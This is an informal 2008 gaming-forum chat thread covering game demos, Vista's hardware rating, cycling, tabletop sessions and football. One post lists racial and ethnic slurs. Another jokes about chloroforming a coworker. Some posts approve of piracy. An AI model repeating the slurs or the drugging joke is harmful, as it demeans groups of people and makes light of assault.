Also tried the Japanese demo of Tales of Vesperia today and found that it's entirely in English and is quite good. Lots of new stuff added onto the Abyss system, with the rather annoying FoF system gone. Good voice acting, gorgeous visuals, good music and a boss in the demo that's actually difficult. Having items in the battle environment to hit and cause effects on surrounding stuff is totally new to the series too and really adds stuff to the boss fight.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on June 20, 2008, 08:28:25 PM
Yeah, I must say those downloads are quite the turn off. How long would it take to just individually load every part anyways?

Also the insane amount of extra stuff in the new game looks rather nice (FUCK YEAH, SOLAR GUN), and the fact that you can shoot and move, squat and move, roll and crawl is a huge improvement, but yes, paid reviewers are paid.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on June 20, 2008, 09:50:06 PM
(http://files.spectere.net/pictures/vista-perf.png)

Heh.

Why Microsoft capped all of these at 5.9, I'll never know.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on June 21, 2008, 12:16:03 AM
My sister left me a cookie on my desk. I ate it, and it was delicious.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on June 21, 2008, 01:03:36 AM
so whats this 5.9 stuff, vista rates your computer hardware?  interesting.

least its not an 8.8, or the nintenfags would hunt you down.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on June 21, 2008, 01:14:01 AM
Yeah, it does hardware ratings.  They're fine when it comes to lower-end hardware but they are limited to 5.9, making it pretty much useless with upper-mid-range and high-end systems.

Long story short, my computer would get the same rating as a system with dual, heavily overclocked Core 2 Quads with three GeForce GTX280s.  Does that make sense?  I think not.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: cristian989 on June 21, 2008, 01:33:22 AM
I just went to Tokyo Game Action and got the 'play for a day' pass.  My girlfriend and I got there at 3:30pm and we left at 11:30pm.  I played:

IIDX DjTroopers
Popn' Music Fever/Party
Drummania/Guitar Freaks V4
Drummania V3
Beatmania The Final
Dance Maniax 2nd Mix
Para Para Paradise 2nd Mix
DDR 5th Mix/Extreme
ITG2
Some Pump it up game
A bunch of fighting games including a street fighter 2 Turbo cabinet
And a bunch of other sweet games

It was f*cking bemani heaven  8) 8)
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on June 21, 2008, 02:10:06 AM
I just went to Tokyo Game Action

I strongly dislike you. <_<
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on June 21, 2008, 02:19:30 AM
now, if i was your girlfriend for that day, i would have played IIDX 15 DJT.

ENVY!!1111111111111111
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on June 21, 2008, 07:43:32 AM
I want you to burn in hell. <_<

Fix't
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Zakamiro on June 22, 2008, 01:55:57 AM
Yeah, it does hardware ratings.  They're fine when it comes to lower-end hardware but they are limited to 5.9, making it pretty much useless with upper-mid-range and high-end systems.

Long story short, my computer would get the same rating as a system with dual, heavily overclocked Core 2 Quads with three GeForce GTX280s.  Does that make sense?  I think not.

This is why they make benchmarking software, though. Typical home users don't give a shit how their system compares to high performance builds.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on June 22, 2008, 03:00:39 AM
I just got back from riding my bike 8 miles round-trip to Wal-Mart. I bought a new Hot Wheels car for the first time in about ten years, and also a little cheap plastic ring (I didn't get the one I wanted =( but oh well)

I feel very accomplished, and tired.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Zakamiro on June 22, 2008, 03:19:58 AM
i ride 6 miles to work each day, and 6 miles back (6 + 6 = 12). About every other day I try to ride 20 miles. It's awesome exercise... But then again, I have a roadbike, so it makes it a bit easier than a mountain bike, lol. (if thats what you use.)

Edits, smilies, and parentheses:

pic: (sorry about the shadowing and BS, it's the only one I have and it's night out.)

(http://i28.tinypic.com/14cflnt.png)

Not only is it the feeling you get from accomplishing something, but the endorphins you produce when doing strenuous activity. (A sort of natural pain reliever) If you've ever heard of or are familiar with a "runner's high," (http://en.wikipedia.org/wiki/Endorphin#Runner.27s_high) you'll know what I'm talking about. Otherwise, you're producing so many endorphins that you get a buzz out of it, and your body sorta goes numb. It's also a reason why people can get addicted to running, or other physical activity... ;]

My bicycling habits may be they way they are because of this, but really, I just like to hop on my bike, and listen to music as I see the landscape. It's just fucking fun. As well as sprinting to pass cars... XD

Anyway, I don't mean to come off as boasting or anything, it's just that biking or exercising does a lot more than you'd think at first guess. I've found that once you get into the habit of regularly exercising, it's extremely hard to quit! But yeah. Keep up on the bike rides, dude. And just go explore shit. If you're not already, you'd be surprised how much company a bicycle can bring you.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on June 22, 2008, 10:25:01 AM
This is why they make benchmarking software, though. Typical home users don't give a shit how their system compares to high performance builds.

The thing is, the Windows Experience Index (or whatever it's called) is supposed to give you an idea of what games your system can play.  If it just takes every mid-range or better system and lumps it into 5.9, what's the point?

I think the tests should be a bit more intense, the grading a bit looser (to allow the lower-end systems to actually manage 1.0-2.0 like they currently do), and the grades should go up to 10.  5.9 is a very arbitrary cutoff.  Also, with games pushing the envelope as far as graphics go nowadays (hi Crysis) the games themselves are probably going to pass the 5.9 mark for their recommended settings within a year or two.

Really, I think the index is, undoubtedly, a failure.  It doesn't help the people that have mid-range to high-end systems that don't know a whole lot about how system requirements work (which is quite common nowadays -- games that don't know much about computer hardware or software will happily drop $2000+ on a computer if it lets them play whatever they want).  Yeah, you or I will easily know whether our rigs can handle it, regardless of how 5.9 they are, but the target of the ratings -- the majority of Windows users -- will still be left in the shade.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on June 22, 2008, 01:54:52 PM
words

yeah, I have been biking a lot lately. I stopped for a few months due to being busy with school and stuff, but earlier this year I was on my bike all the time, riding all over the area. I got my parents into it too, and now they explore, like, the entire northern part of my county on their bikes. I was the one that thought of/purchased bike lights for both bikes we own, so now they (and I) are legally free to bike at all hours of the day and night.

My work is 7.5 miles away, so it'd be 15 miles roundtrip. I thought of doing that a few weeks ago but my girlfriend talked me out of it. I can't honestly say I'd want to ride for an hour back home after I get off work nearing 10. Maybe once I bike more and build up my stamina it wouldn't be so ridiculous.

And I'm not sure what kind of bike I have. I think it is a mountain bike... it has 21 gears for different levels of gearage. I should probably save up for a cool bike like yours, how much did it run you?
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on June 22, 2008, 07:38:59 PM
http://en.wikipedia.org/wiki/Mountain_bicycle

http://en.wikipedia.org/wiki/Road_bicycle

Best way to sum things up, lol.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on June 22, 2008, 11:08:07 PM
TLDR INC

well i had an awesome 4th edition session today.

let me try to sum it up, most of the awesome came at the end.

-first encounter, everybody but me got feared into a group of zombies, took care of them easily
-second encounter was a hall with infinite spawning skeleton minions, was a bit of a pain in the ass, till the paladin figured out what to do, killing them off.
-third encounter was a skill encounter, we all rolled pretty good and passed this one without needing to go into combat

-we all decided to rest and recover-
-somebody messaged the paladin that danger is coming to the town (and we are here trying to do something to protect said town)

-the paladin because of his faith in his diety (bahamut) is compelled to leave and save the town, i go along with him(partially because of my diety, kord, so i can test my bravery and stuff.  any little thing i can do to "role play" my character, as i suck at role playing), the other 3 players stay here to complete the objective.  so we pretty much split up

-the other 3 encounter an easy zombie encounter and take it out with slightly more difficulty, but not much.

-we ride BLAZINGLY fast towards the town, arrive, and head to the graveyard where all the shenanigans is happening.
-there is a glyph we need to take out, and me the only guy with skill in arcana (not much, but its there) is the only one capable of taking out said glyph.
-we run in...and....elven archer + 2 melee zombies + 12 archer zombies....

to make the epic encounter short(k i can't really do that), we got a few minor bonuses from our gods(+5 healing, the paladin did radient damage), because this is a challenge 5 fight...with 2 people.

i spend the encounter healing myself with minor actions while "botching" a bit of arcana rolls to take out the glyph, while the paladin defends me from the melee zombies, as the archers attack the both of us. 

every turn pretty much, we lose nearly half of our total hp...so we blow all of our encounter and daily powers, and i blow all of my healing powers. 

anyway, i kick the glyph out, all the zombies die, and we ass rush the archer.  we both equally fuck her up, she runs away, paladin charges, and i finish her off with a lance of faith. 

blablabla, our characters have cajones (sp?), that was an awesome encounter, and kord had better enjoy the bravery my character just shown.

level 3 dwarven cleric (not the melee variety) and a level 3 dragonborn paladin

tldr version- play 4th edition, lessn' you are a neckbeard who can't handle change, you should definatley enjoy the changes that were made.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on June 23, 2008, 01:42:04 AM
http://www.msnbc.msn.com/id/25322638/

Good night, sweet prince.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Jupi on June 23, 2008, 02:22:06 AM
TLDR INC

well i had an awesome 4th edition session today.

let me try to sum it up, most of the awesome came at the end.

-first encounter, everybody but me got feared into a group of zombies, took care of them easily
-second encounter was a hall with infinite spawning skeleton minions, was a bit of a pain in the ass, till the paladin figured out what to do, killing them off.
-third encounter was a skill encounter, we all rolled pretty good and passed this one without needing to go into combat

-we all decided to rest and recover-
-somebody messaged the paladin that danger is coming to the town (and we are here trying to do something to protect said town)

-the paladin because of his faith in his diety (bahamut) is compelled to leave and save the town, i go along with him(partially because of my diety, kord, so i can test my bravery and stuff.  any little thing i can do to "role play" my character, as i suck at role playing), the other 3 players stay here to complete the objective.  so we pretty much split up

-the other 3 encounter an easy zombie encounter and take it out with slightly more difficulty, but not much.

-we ride BLAZINGLY fast towards the town, arrive, and head to the graveyard where all the shenanigans is happening.
-there is a glyph we need to take out, and me the only guy with skill in arcana (not much, but its there) is the only one capable of taking out said glyph.
-we run in...and....elven archer + 2 melee zombies + 12 archer zombies....

to make the epic encounter short(k i can't really do that), we got a few minor bonuses from our gods(+5 healing, the paladin did radient damage), because this is a challenge 5 fight...with 2 people.

i spend the encounter healing myself with minor actions while "botching" a bit of arcana rolls to take out the glyph, while the paladin defends me from the melee zombies, as the archers attack the both of us. 

every turn pretty much, we lose nearly half of our total hp...so we blow all of our encounter and daily powers, and i blow all of my healing powers. 

anyway, i kick the glyph out, all the zombies die, and we ass rush the archer.  we both equally fuck her up, she runs away, paladin charges, and i finish her off with a lance of faith. 

blablabla, our characters have cajones (sp?), that was an awesome encounter, and kord had better enjoy the bravery my character just shown.

level 3 dwarven cleric (not the melee variety) and a level 3 dragonborn paladin

tldr version- play 4th edition, lessn' you are a neckbeard who can't handle change, you should definatley enjoy the changes that were made.

I'd like to try playing 4.0 sometime.  I just got started back up on a 3.5 campaign this afternoon.  :3  Playin' a level 1 half-orc bard.  :D
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Zakamiro on June 23, 2008, 03:41:09 AM
My work is 7.5 miles away, so it'd be 15 miles roundtrip. I thought of doing that a few weeks ago but my girlfriend talked me out of it. I can't honestly say I'd want to ride for an hour back home after I get off work nearing 10. Maybe once I bike more and build up my stamina it wouldn't be so ridiculous.

Exactly. I've been riding for a good while, but going to my old job and back from my old house (old old old lol jk.) took at most 35 mins there, and 20 minutes back. You'll be amazed how your body can adapt to needing more stamina.

And I'm not sure what kind of bike I have. I think it is a mountain bike... it has 21 gears for different levels of gearage. I should probably save up for a cool bike like yours, how much did it run you?

You'd know if it was anything but a mountain bike. a "21 gear" bike is extremely typical for a mountain bike. Unfortunately, mountain bikes are bad (not awful) at road use. Knobby tires, heavy hardware, and sometimes made of steel frames. Great if you want a bike that can survive falling 24 feet, bad if you're trying to get places efficiently. (or climbing up hills... Oh god.) I bought mine on sale for about $500, marked down from a retail price of $800 something. ($8xx) I honestly don't regret buying my bike a single bit. Well, perhaps if I had wanted to wait to get it in a larger frame size, but that's about it. I've got about a 35" inseam, and yeahhh. Anyway, most bike shops will tell you to not spend less than a grand on a road bike, because usually stock derailleurs suck on bikes less than that price point. My front forks are made of carbon fiber, (which sucks because the rear fork or frame being made of carbon fiber would have been far superior) and that prolly hiked up the price a little bit. If you intend on buying a road bike, be sure to give it a thorough test ride on it before you get it, and try to push it hard, to see its performance barriers and such. Also, never ride with your weight fully on the seat. It'll make your sit bones hurt like hell, and that lost weight could have been used for extra torque on the pedal crank. In fact, pros don't really sit on their seats, they instead use them to give them an idea on how high to squat while riding, and to provide rest when going downhill. Expect to feel every single bump in the road, my tires are at 120-125 PSI, with no suspension. Also another reason you don't entire sit on the seat. xD

Anyway, I've gone on way too long about it, and I'd rather not have to keep typing and ranting.



wordage

Exactly, the windows experience index is nothing more than some haphazard hardware rating tool. Both you and I know that there's way more that can explain a hardware component's performance than a single index rating. Two different components can get the same rating, but have different performance capabilities under different applications. (applications, not like computer applications. Ok, well maybe those too.)

To this day, I STILL find nothing wrong with "Minimum system requirements" on the side of PC game boxes. If someone is too much of a fuck-wit to know if they are able to play Crysis on their PC, will they even know how to play it or install it? Or howabout effectively managing the computer?

I find the lack of interest in trying to understand technology to be a complete loss for many people, and it's that sorta thing that causes these things. :\

ANYWAY, WEI should be treated as nothing more than an approximation, and using the old way of knowing if stuff works is prolly best.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on June 23, 2008, 04:55:51 AM
To this day, I STILL find nothing wrong with "Minimum system requirements" on the side of PC game boxes. If someone is too much of a fuck-wit to know if they are able to play Crysis on their PC, will they even know how to play it or install it? Or howabout effectively managing the computer?

I do, for the simple reason that I got burned repeatedly with it.

My old system was just under a couple of the recommended requirements for Oblivion and matched it in other ways (Oblivion recommended a P4-3.0, 1GB of RAM, GeForce 6800; my old system has a P4-2.8, 1GB of RAM, and a GeForce 6600GT).  The "required" hardware is only a P4 2.0, 512MB of RAM, and a "128MB Direct3D compatible video card."  Basically, they're saying that you can allegedly run Oblivion with a GeForce FX.

It was unplayably slow.  Even with everything turned down as far as it can possibly go the system couldn't maintain a stable, or even playable framerate.  It was okay when walking around, but it would drop down to as low as 5-10fps whenever more than a single enemy would come on screen.  Oblivion even manages to cause my new system to stutter occasionally, moreso than Crysis!

Black & White also fucked me over several years ago.  When that came out, my system was well over the recommended requirements.  The game slowed down so badly at some points that, if I were to guess, it wasn't pushing more than 10fps.  What's worse, B&W relied on mouse gestures.  It was literally impossible to do them with low framerates.

Nothing like having to wait several years to be able to play games because the developers/publishers flat-out lie on the back of the box.

Thankfully, not all companies are sleezy with their system requirements.  Quake and Quake II both "required" a Pentium to run, yet they ran acceptably on my old 486 (Quake II definitely ran worse than Quake, of course).  My laptop has some pretty low-end graphics hardware (RADEON X300) and it was able to run Unreal Tournament 3 at a smooth framerate with the default settings.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Zakamiro on June 23, 2008, 04:59:14 AM
So basically, is it Microsoft's job to ensure that computer illiterates are protected from software manufacturers that don't correctly specify minimum/recommended requirements?
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on June 23, 2008, 05:03:07 AM
No, but they took it upon themselves to help matters and they did, just not as much as they probably intended to.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Zakamiro on June 23, 2008, 05:21:31 AM
No, but they took it upon themselves to help matters and they did

Well, except for the part of the limitation, right?

Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on June 23, 2008, 05:23:57 AM
Exactly.  They gave the system roughly two years of life with the hardcore games.  The indie and casual gaming markets won't have any issues with that system, though they don't typically exceed 2.0 anyway (that said, I'm curious to see what Peggle requires...I'll have to check that out when I get back home :P).
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Zakamiro on June 23, 2008, 05:26:39 AM
Should the limitation become more of a problem in the future, would you expect Microsoft to issue an update on Vista's SP2 or SP3?

Also, sorry for shitting in the lame replies thread, guys. xD
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on June 23, 2008, 05:32:09 AM
I think they'll probably do something about it.  Not sure exactly what, though.  Maybe put systems that hit 5.0+ through tougher additional tests that boost the score over 6.0?
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on June 23, 2008, 10:18:37 AM
Basically, they're saying that you can allegedly run Oblivion with a GeForce FX.

It was unplayably slow. 

I feel your pain. I hazard a guess that my system (512 or 768 MB ram, I think, it was a P3 866 mhz, and an Nvidia Geforce FX 6200) ran oblivion at all lowest setting at an average of 4 FPS.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on June 23, 2008, 02:26:38 PM
right, im pretty proud of this.

i encounter a barricaded necrotech facility, break down the barricade, groan to the building(basically telling the zombies around said building to enter), enter the facility, bite/infect 5 people, and im out of ap for the day.

(http://img185.imageshack.us/img185/2407/infectedlv6.jpg)

as i log on today, i see that the horde of zombies in front of the building had open access to the building because of me, killed all of the survivors, and ruined the building. 

(http://img185.imageshack.us/img185/7956/infected2rd6.jpg)

im kickass  8)
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on June 25, 2008, 11:33:26 PM
That is pretty beast, even tho I'm not sure how that game is played. Also my sister has a working Mac laptop, and still uses the only other working PC ALL DAY, FOR LIKE, 3 DAYS all because she's doing math homework. Even tho 50% of the time it looks like she's watching random videos off of youtube and just generally dicking around on the internet.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on June 26, 2008, 01:06:57 AM
I feel like an idiot. I punched my thigh to see how hard I could punch, and now I have a decently-sized bruise.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: mysticsnake on June 26, 2008, 01:40:03 AM
I feel like an idiot. I punched my thigh to see how hard I could punch, and now I have a decently-sized bruise.

Well done! I was dunking my hand in 190 degree water getting nozzles out at work it was a good time.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sneaky on June 26, 2008, 01:49:12 AM
My friend's tire went flat while coming back from Get Smart [note: go see this movie], and he didn't know how to change a fucking tire, so me at 5'10 200 and him at oh idk 5'8 and LIGHT, I have to fucking change the tire cause his scrawny ass can't break the lugs.

oh, relative to the pain part: TIRES ARE HOT.

D:
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on June 26, 2008, 08:32:46 AM
Hah, I am better at loosening bolts than my friend, who is about the same height as me, and like 200 lbs (and I'm about 130-145 depending) :/
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on June 26, 2008, 12:16:34 PM
I feel like an idiot. I punched my thigh to see how hard I could punch, and now I have a decently-sized bruise.
Well done! I was dunking my hand in 190 degree water getting nozzles out at work it was a good time.

Good god, why would you do this? Also on a slightly related note about discomfort, I recently trimmed my armpits, and I must say, it's not a fun time.

Also ohshit, it's mysticsnake.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: mysticsnake on June 26, 2008, 04:57:29 PM
haha, that's how we clean the drink tower nozzles at work usually. Instead of dumping them I thought I'd liven up my day and grab them one by one. Not as bad as the guy who splashed some on his face :/

and ohshithi
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on June 26, 2008, 07:37:09 PM
I was curious, that's all.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on June 26, 2008, 11:18:16 PM
my hair is so soft i can't stop playing with it

yerp
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on June 27, 2008, 03:07:39 AM
I just saw Wanted. While the story wasn't too great, the action scenes were awesome-coated win filled with kickass and more awesome.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: cristian989 on June 27, 2008, 08:00:31 AM
I just saw Wanted. While the story wasn't too great, the action scenes were awesome-coated win filled with kickass and more awesome.

That's what I Keep hearing, I'll be seeing it tonight  :P
Title: Re: Lame Replies Thread, With A Vengeance
Post by: mysticsnake on June 27, 2008, 01:24:01 PM
Oh baby I have to go see that.

Not a movie I was really expecting a story from anyway lol.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on June 27, 2008, 06:28:36 PM
so i got ahold of the original diablo and played it in a 3 man lan with a few friends.

each of us was a differant class, and since there is only 3, it works out.

also, the butcher is hard without exploiting grated walls with ranged weapons.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on June 27, 2008, 07:30:26 PM
Also, I get the impression that I'm the only one who's been paying attention to the Euro Cup.

I have been. A little anyway. My bro and I are cheering for Spain.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Shoop Da Whoop on June 27, 2008, 10:30:48 PM
After spending the entire day in Japan Town in San Francisco with my Girlfriend I took part in a life changing moment. I took the Scientology stress test. A group of Scientologists in the Bart station had a booth set up to sell some fucking book by L. Ron Hubbard. Anyways, they were giving people free stress tests at the booth. Basically, you grab two metal sticks, they turn this machine on, a needle moves. While holding the metal sticks they ask you questions that should spark some sort of stress in you. I just started squeezing the paddles with different pressures to see if it did anything, and it did. The harder I squeezed, made the needle jump everywhere. FUNFUNFUNF I WUZ XCITED GUIZ, but to top if off there was a group of /b/tards hanging out around the outside of Bart station. They all had EFG masks and protest signs on and were dancing to techno beats. I started walking out there dancing and my girlfriend asked me what I was doing. I told her it was cool, and walked outside to meet my dancing /b/rothas and yelled, "SHOOP DA WHOOOOOOOOOP." Then I took my train homeand explained myself, I almost slipped up and told her about 4chan.


TL;DR EPIC DAY SCIENTOLOGY
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on June 28, 2008, 01:52:00 AM
I almost slipped up and told her about 4chan.

That would have been a mistake.

Also, in unrelated news, I just had a extreme pokemon battle in pokemon coliseum. I fucked up, which ended up in him having 3 full pokemon, and me having my almost dead hitmonlee and zapados. So, I fight his articuno, and zapados paralyzed him. Then I used thunderbolt, which killed him in 2 hits. His next pokemon was flareon, I used flash and screwed his accuracy so his first attack missed, I hit him with thunderbolt, which hurt, then he hit me and I died. Next up was hitmonlee, who used siesmec (spelling?) toss and killed him Then on his last guy, he kills me.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on June 28, 2008, 07:45:55 AM
"SHOOP DA WHOOOOOOOOOP."

Win.

Also, my GF is on 4chan more often than I am :/
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Zakamiro on June 28, 2008, 08:28:31 AM
this thread is making me all kinds of WTF.

4chan and pokemon. A healthy diet for anyone.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: notHiro on June 28, 2008, 07:43:37 PM
I've been watching the Euro Cup but the semifinals and the finals tomorrow all have occurred on days I've had to work so I couldn't watch them, and before I could get a chance to watch any replays I've had the scores spoiled for me.

:/

Anyway, I got my R4 the other day and I have to say it's one of the best gaming decisions I've made in a while. For less than $50 I get to play whatever game I want from any region I want. I get to try out shit that I never could before and get to carry multiple games on one little device, not to mention the ability to play music on it. It's fucking amazing.

Also, I should express my love for the Etrian Odyssey games with this post. Fuck yeah at hard shit where you have to collect and battle and do other random shit for really no reason at all. I love that shit in my games. I guess that's why I like Dark Cloud 2 and Disgaea so much.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sneaky on June 28, 2008, 09:10:57 PM
So I'm legally acquiring Shadow of the Colossus since I've never played it.

yay
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on June 28, 2008, 09:29:42 PM
Unless you like minimalistic game play, you're not going to like it, then again I liked it a lot. Also look for big climbable trees, shoot their fruits, and then collect them, same can be said for lizards with shinny tails (one of them is at every save shrine, you just have to look hard).
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on June 28, 2008, 10:29:07 PM
I loved watching my brother play that. I never got into playing it, but I rarely do with most games now :/
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sneaky on June 28, 2008, 10:54:16 PM
I really enjoyed Jade Empire.. I need to purchase that one D: with REAL money D:
Title: Re: Lame Replies Thread, With A Vengeance
Post by: cristian989 on June 28, 2008, 10:55:04 PM
I just saw Harold and Kumar go to White Castle twice in one day... 8)
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sqthreer! on June 28, 2008, 11:29:35 PM
That movie kicks ass.

I'm about to leave to see my friends' old time bluegrass band play. They're fucking awesome.

http://www.myspace.com/watertowerstringband 
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on June 29, 2008, 02:22:22 AM
words

Good advice. Makes me want to invest in a road bike. I guess I should expect to spend 4-500 on a suitable one. Gotta do my research...

Also, I was gonna see Wanted with a bunch of friends tonight, but my girlfriend (who is 16) wouldn't have been able to get in, so I just chilled with her instead. We watched Fast Times at Ridgemont High, which I really didn't care much for, contrary to other viewpoints I've heard expressed towards that movie.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on June 29, 2008, 03:56:32 AM
I'm leaving for freshman orientation today. It should be interesting.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Zakamiro on June 29, 2008, 04:28:49 AM
Good advice. Makes me want to invest in a road bike. I guess I should expect to spend 4-500 on a suitable one. Gotta do my research...

Indeed

I'm leaving for freshman orientation today. It should be interesting.

Spoiler: High school sucks.

Edit:

One of the best times of your life, but you still want to forget and ignore it. At least, that's how it seems to be with everyone around here. =\
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on June 29, 2008, 08:45:59 AM
Well, honestly, about all I miss from highschool was seeing my friends every day. The rest of ith either sucked, or wasn't cool enough for me to care that much about.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on June 29, 2008, 11:37:38 AM
Grr, go die, Spain needs to win.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on June 29, 2008, 11:43:19 AM
Spoiler: High school sucks.

I mean college orientation. I finished high school, and I'll say I don't have many complaints.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on June 30, 2008, 12:05:30 AM
Man, work was sooo hideously boring today. Can't say I'm looking forward to another full day of work tomorrow. I'm working myself silly before I leave for Las Vegas in 2 weeks, because once I get back there won't be any work to do until September. Lame-o.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on June 30, 2008, 03:06:08 AM
uhh i started posting under a tripcode in /v/ for some reason

if you see any retarded posts by a tripfag named "purpledrink !sSerh.cv7k " that be me!
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on June 30, 2008, 06:54:11 AM
Bah, Spain played really well. As much of a girl Torres is, they really deserved that victory. We'll just have to wait a couple of years to kick some ass in South Africa.
Torres may be girly, but between him and Villa they've got some good offense. And their ball control is pretty wicked.

I'm surprised that they had such a long slump, with they way they played this year. Hopefully this will continue.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: mysticsnake on June 30, 2008, 10:34:35 PM
I'm no longer hungry go Mini Pizzas!
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on July 01, 2008, 12:59:00 AM
i have a 3 pound tin of planters honey roasted peanuts, tastey.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Eggman on July 02, 2008, 03:44:21 PM
Chrono Trigger is coming to the DS with an extra dungeon and some new multiplayer mode (your team vs my team I guess). Instant win.

Bad side? Now I get to hear allllllll the whining about all the FF7 fanboys think CT is totally overrated and how much more amazing their precious FF7 was. And I get to hear all of the whining from all the xenophobic gamers this generation has created, who refuse to even try out a Japanese made game. It borders on actual racism. Seriously.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sneaky on July 02, 2008, 04:34:55 PM
Dang what is wrong with kids these days :/ I <3 CT and FF7. What a bunch of douches.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on July 02, 2008, 04:50:37 PM
I haven't played either. I pretty much missed out on the golden age of RPGs, mostly because I wasn't interested in games like that when I was younger. Funny how like all of my friends wouldn't play them now either.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on July 02, 2008, 05:00:38 PM
And I get to hear all of the whining from all the xenophobic gamers this generation has created, who refuse to even try out a Japanese made game. It borders on actual racism. Seriously.

it goes both ways.  you get the people who refuse to play jap games, and you get the people who refuse to play american/non japanese games.

also, with every game ever, there is bitching, this is not new.

and and and, because this is sort of gaming related, the only games im really looking forward too (like games i will actually buy) is soul calibur 4, WAR, and that one game...whats it called...OHH YEAH, diablo 3.  (theres a few others, but those are the main 3, like sc2 would be in there, but with all the ballance they need to do, i wouldn't be surprised if it came out AFTER diablo 3.)

also because im a dick, nigger, chink, jew, heeb, wetback, [insert racist comment here]

and for zakamiro, OVER AND OVER AND OVER AND OVER AND OVER

and and and, post ends, no edits, yadda yadda, i like long drawn out posts
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Zakamiro on July 02, 2008, 05:24:43 PM
also, with every game ever, there is bitching, this is not new.

and for zakamiro, OVER AND OVER AND OVER AND OVER AND OVER

I laughed my ass off. Seriously. Major lolling. OH SHIT. Now im on the floor. rolling. and laughing.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Eggman on July 03, 2008, 10:52:11 PM
(http://www.magix-photos.com/mediapool15/BF/DC/A4/10/A1/BD/11/DA/94/42/B1/5F/18/F5/24/06/oma/10/8A0C6E00497311DD8B833445187677C4.jpg)

Why did I have to work with someone so hot? I shouldn't, but every time I talk with her or do anything with her, it feels like I shouldn't be there or like someone's going to come over and tell me to move away.

Ah well. At least I know I get a movie with her some time in the near future.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on July 04, 2008, 12:43:10 AM
DON'T JUST STAND THERE, PICK UP THAT CHLOROFORM AND USE IT.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Alice on July 04, 2008, 02:11:21 AM
FF7. bunch of douches.
worthy of the same sentance

Myself, I like CT, FFIV, V, VI, Illusion of Gaia, Seiken Densetsu 2, etc.  Chrono Trigger is the fucking bomb.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on July 04, 2008, 10:50:23 AM
Yep, Chrono Trigger is definitely on my list of all time favourites.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on July 04, 2008, 02:13:24 PM
i think im the only one here who doesn't like chrono trigger ;o
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Eggman on July 04, 2008, 03:17:51 PM
